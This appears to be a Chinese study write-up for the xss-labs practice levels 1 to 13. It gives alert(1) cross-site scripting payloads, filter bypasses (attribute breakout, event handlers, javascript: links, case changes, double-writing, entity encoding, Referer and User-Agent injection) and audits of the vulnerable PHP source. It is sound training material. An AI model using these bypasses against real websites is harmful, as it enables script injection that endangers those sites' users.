less1
它向服务器提交了一个name参数,值为test,查看源码可以看到它将name的参数值插入到<h2></h2>标签之间
paylaod
<script>alert(1)</script>
代码审计
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
红色第一行将从服务器获得的name参数的值赋值给str变量,下一行又将str变量直接插入到<h2></h2>标签之间 ,服务器并没有对name参数的值进行严格的管理,而且这个值用户可控,所以存在反射型xss
less2
依然是以get方式传递参数,应该还是反射型xss
比上一关多加入了 搜索框和搜索
尝试上一关xss注入,但是报错了,查看源码
我们注入的恶意代码已经被编码了,<>都被编码成了html字符实体。要想浏览器执行这里的弹窗代码,只需要将属性的引号和标签先闭合就可以
1"><script>alert(1)</script><"
成功执行,代码审计
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
将keyword参数的值赋给str,但是在插入到<h2>标签的时候使用了htmlspecialchars()函数对变量str进行处理之后显示到网页上,第六行直接将变量值插入到<input>标签的value属性值中
htmlspecialchars()函数
把预定义的字符 "<" (小于)和 ">" (大于)转换为 HTML 实体###
less3
和上一关差不多,但是提交payload报错,依然查看源码
这两处都将<
和>
这样的敏感字符编码成了html字符实体。
猜测服务器端在这两处都用htmlspecialchars()
函数进行了处理。
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
这里可以通过<input>
标签的一些特殊事件来执行js代码
1'onclick'alert(1)
最简单的实例就是网页上的一个输入框,当使用鼠标点击该输入框时输入框被选中可以
输入内容的时候就是该输入框获得焦点的时候,此时输入框就会触发onfocus事件.因此
点击当前页面的输入框就可以完成弹框了。
less4
还是先看源码
<h1 align=center>欢迎来到level4</h1>
<h2 align=center>没有找到和scriptalert(1)/script相关的结果.</h2><center>
<form action=level4.php method=GET>
<input name=keyword value="scriptalert(1)/script">
<input type=submit name=submit value=搜索 />
先尝试打一下
<h2 align=center>没有找到和<script>alert(1)</script>相关的结果.</h2><center>
<form action=level4.php method=GET>
<input name=keyword value="scriptalert(1)/script">
第一行<被编码了,第三行<>直接被删了
还是用上一关思路打
aaa"onclick"alert(1)
less5
继续先<script>alert(1)</script>先打
<h2 align=center>没有找到和<script>alert(1)</script>相关的结果.</h2><center>
<form action=level5.php method=GET>
<input name=keyword value="<scr_ipt>alert(1)</script>">
第一行<>被编码,script 中间插了一个_ 进去,考虑javascript伪协议
"> <a href=javascript:alert(1)>1</a>//
javascript伪协议就是将javascript:后面的代码当JavaScript来执行,并将结果值返回给当前页面。
审计一下源代码
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
strtolower()函数 将字符串转换成小写,两个正则过滤掉了<script>和onclick
less6
<h2 align=center>没有找到和<script>alert(1)</script>相关的结果.</h2><center>
<form action=level6.php method=GET>
<input name=keyword value="<scr_ipt>alert(1)</script>">
再试一下伪协议 也不行,突然奇想试试大小写
"> <a hrEf=javascript:alert(1)>1</a>//
成功了
查看源码
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
正则比上一关多了几个,但是没有大小写转换的函数
less7
<h2 align=center>没有找到和<script>alert(1)</script>相关的结果.</h2><center>
<form action=level7.php method=GET>
<input name=keyword value="<>alert(1)</>">
把script给删了,试试双写绕过
"><scrscriptipt>alert(1)</scrscriptipt>//
成功 这里是将一个script 插入到另一个script 里面了,会将里面那个script 过滤掉,然后前后合在一起又变成了 script
查看源码
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
less8
<input name=keyword value="<script>alert(1)</script>">
</center><center><BR><a href="<scr_ipt>alert(1)</scr_ipt>">友情链接</a></center><center><img src=level8.jpg></center>
前面方法都不可行,尝试html字符实体转换,将Unicode转化为ASCII
javascript:alert(1)
在线转换
javascript:alert(1)
less9
先用上一关的方法打一下,提示我的链接不合法,那就在后面加一个真实可访问的链接
javascript:alert(1)http://www.baidu.com
script被替换了,所以对javascript:alert(1)进行html字符实体转换,再一次提交,注意,要再http 前面加上注释符 //
<input name=keyword value="javascript:alert(1)http://www.baidu.com">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="javascr_ipt:alert(1)http://www.baidu.com">友情链接</a></center><center><img src=level9.png></center>
payload
javascript:alert(1)//http://www.baidu.com
查看源码发现进行了if 判断,如果里面存在 http:// 这个就可以了,所以我们的注入语句后面的 百度一下,你就知道 也可以直接就写 http:// 就可以了
less10
查看源代码,可以看到这里有几个被隐藏的输入框,type="hidden" 就是隐藏表单的意思,思路就是根据他们的name构造传值,让它们的type改变,不再隐藏,谁出来了谁就能利用
keyword=test&t_link=" type="text" onmouseover=alert(1)// & t_history=" type="text" onmouseover=alert(1)// & t_sort=" type="text" onmouseover=alert(1)//
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="text" onmouseover=alert(1)//" type="hidden">
发现是第三个,执行成功
less11
<input name="t_ref" value="http://127.0.0.1/xsslabs/xss-labs-master/level10.php?keyword=test&t_link=%22%20type=%22text%22%20onmouseover=alert(1)//%20&%20t_history=%22%20type=%22text%22%20onmouseover=alert(1)//%20&%20t_sort=%22%20type=%22text%22%20onmouseover=alert(1)//" type="hidden">
比上一关多了一个条件,试试加上referer,bp抓包添加ref
referer:" type='text' onclick='javascript:alert(1)'>//
less12
<input name="t_ua" value="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" type="hidden">
ua 继续bp添加ua
less13
<input name="t_cook" value="" type="hidden">
cookie......